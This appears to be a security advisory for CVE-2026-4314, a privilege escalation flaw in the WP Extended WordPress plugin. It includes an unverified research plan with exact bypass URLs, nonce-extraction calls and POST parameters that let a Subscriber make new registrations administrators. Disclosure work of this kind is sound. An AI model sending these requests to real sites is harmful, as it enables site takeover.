CVE-2026-4314

The Ultimate WordPress Toolkit – WP Extended <= 3.2.4 - Authenticated (Subscriber+) Privilege Escalation via Menu Editor Module

highImproper Privilege Management
8.8
CVSS Score
8.8
CVSS Score
high
Severity
3.2.5
Patched in
1d
Time to patch

Description

The 'The Ultimate WordPress Toolkit – WP Extended' plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.2.4. This is due to the `isDashboardOrProfileRequest()` method in the Menu Editor module using an insecure `strpos()` check against `$_SERVER['REQUEST_URI']` to determine if a request targets the dashboard or profile page. The `grantVirtualCaps()` method, which is hooked into the `user_has_cap` filter, grants elevated capabilities including `manage_options` when this check returns true. This makes it possible for authenticated attackers, with Subscriber-level access and above, to gain administrative capabilities by appending a crafted query parameter to any admin URL, allowing them to update arbitrary WordPress options and ultimately create new Administrator accounts.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.2.4
PublishedMarch 21, 2026
Last updatedMarch 22, 2026
Affected pluginwpextended

What Changed in the Fix

Changes introduced in v3.2.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

## Vulnerability Summary The **The Ultimate WordPress Toolkit – WP Extended** plugin (versions <= 3.2.4) contains a privilege escalation vulnerability in its **Menu Editor** module. The module hooks into the WordPress `user_has_cap` filter via the `grantVirtualCaps()` method to dynamically grant ca…

Show full research plan

Vulnerability Summary

The The Ultimate WordPress Toolkit – WP Extended plugin (versions <= 3.2.4) contains a privilege escalation vulnerability in its Menu Editor module. The module hooks into the WordPress user_has_cap filter via the grantVirtualCaps() method to dynamically grant capabilities to users without writing them to the database.

The vulnerability stems from an insecure check in isDashboardOrProfileRequest(), which uses strpos() to check if the $_SERVER['REQUEST_URI'] contains /wp-admin/index.php or /wp-admin/profile.php. Because strpos matches the substring anywhere in the URI, an authenticated attacker (Subscriber or higher) can append one of these strings as a query parameter (e.g., /wp-admin/options-general.php?ignore=/wp-admin/index.php) to bypass the check. When the check returns true, the plugin grants the user the manage_options capability for the duration of that request. This allows the attacker to access administrative pages and update arbitrary WordPress options, such as enabling open registration and setting the default role to 'administrator'.

Attack Vector Analysis

  • Endpoint: Any administrative page within /wp-admin/, specifically options-general.php (to get nonces) and options.php (to save settings).
  • Vulnerable Parameter: $_SERVER['REQUEST_URI'] (manipulated via query strings).
  • Authentication Level: Authenticated Subscriber or higher.
  • Preconditions: The Menu Editor module must be enabled (it is a core feature of the plugin).
  • Payload: Appending ?any_param=/wp-admin/index.php to an admin URL.

Code Flow

  1. Entry Point: An authenticated user makes a request to a protected admin URL, e.g., /wp-admin/options-general.php?payload=/wp-admin/index.php.
  2. Filter Trigger: WordPress triggers the user_has_cap filter to determine if the user can access the page.
  3. Vulnerable Hook: Wpextended\Modules\MenuEditor\Bootstrap::grantVirtualCaps() is executed.
  4. Insecure Logic: grantVirtualCaps calls isDashboardOrProfileRequest().
  5. Bypass: isDashboardOrProfileRequest() (in modules/menu-editor/Bootstrap.php) performs:
    strpos($request_uri, '/wp-admin/index.php') !== false.
    Since the URI contains the string in the query parameters, this returns true.
  6. Capability Escalation: grantVirtualCaps executes:
    $allcaps['manage_options'] = true;
  7. Sinks:
    • The user is granted access to options-general.php where they can view the _wpnonce for settings.
    • The user can then POST to options.php (tricking the check again) to update the default_role and users_can_register options.

Nonce Acquisition Strategy

The attacker requires a valid WordPress nonce to update settings via options.php. Since the vulnerability grants manage_options for any request containing the payload string, the attacker can simply load the settings page to extract the nonce.

  1. Navigate to the General Settings page with the bypass string:
    URL: /wp-admin/options-general.php?ignore=/wp-admin/index.php
  2. Use browser_eval to extract the nonce from the hidden input field:
    browser_eval("document.querySelector('input[name=\"_wpnonce\"]').value")
  3. Identify the option_page:
    browser_eval("document.querySelector('input[name=\"option_page\"]').value") (This will be "general").

Exploitation Strategy

Step 1: Extract Nonce

Action: GET request to the General Settings page.

  • URL: http://localhost:8080/wp-admin/options-general.php?v=/wp-admin/index.php
  • Method: GET
  • Target: Extract values for _wpnonce and _wp_http_referer.

Step 2: Escalation to Administrator

Action: POST request to options.php to change site registration settings.

  • URL: http://localhost:8080/wp-admin/options.php?v=/wp-admin/index.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • option_page: general
    • action: update
    • _wpnonce: [EXTRACTED_NONCE]
    • _wp_http_referer: /wp-admin/options-general.php?v=/wp-admin/index.php
    • users_can_register: 1
    • default_role: administrator

Test Data Setup

  1. Plugin Installation: Ensure wpextended version 3.2.4 is installed and active.
  2. Enable Module: Ensure the Menu Editor module is active (default).
  3. User Creation: Create a user with the subscriber role.
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password

Expected Results

  1. Initial State: Subscriber user cannot access options-general.php (returns 403 or redirects to profile).
  2. During Exploit (Bypass): Subscriber user accesses options-general.php?v=/wp-admin/index.php and sees the full General Settings admin interface.
  3. Final State: The WordPress options users_can_register is set to 1 and default_role is set to administrator.

Verification Steps

  1. Verify Option Change:
    wp option get users_can_register (Should return 1)
    wp option get default_role (Should return administrator)
  2. Verify Access:
    Log in as the Subscriber user and attempt to navigate to /wp-admin/settings.php without the bypass string. If the exploit was permanent in its effect on the site settings, the user can now create new admin accounts via the registration page.

Alternative Approaches

If options.php is restricted by more than just manage_options, use the elevated privileges to access the plugin's own settings or use admin-ajax.php.

Alternative: Admin User Creation

  1. Navigate to /wp-admin/user-new.php?v=/wp-admin/index.php.
  2. Extract the _wpnonce_create-user nonce.
  3. POST to /wp-admin/user-new.php?v=/wp-admin/index.php to create a new administrator account directly, provided grantVirtualCaps also includes create_users (the plugin grants manage_options, which in many configurations is sufficient to reach the user creation logic or modify settings that allow it).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.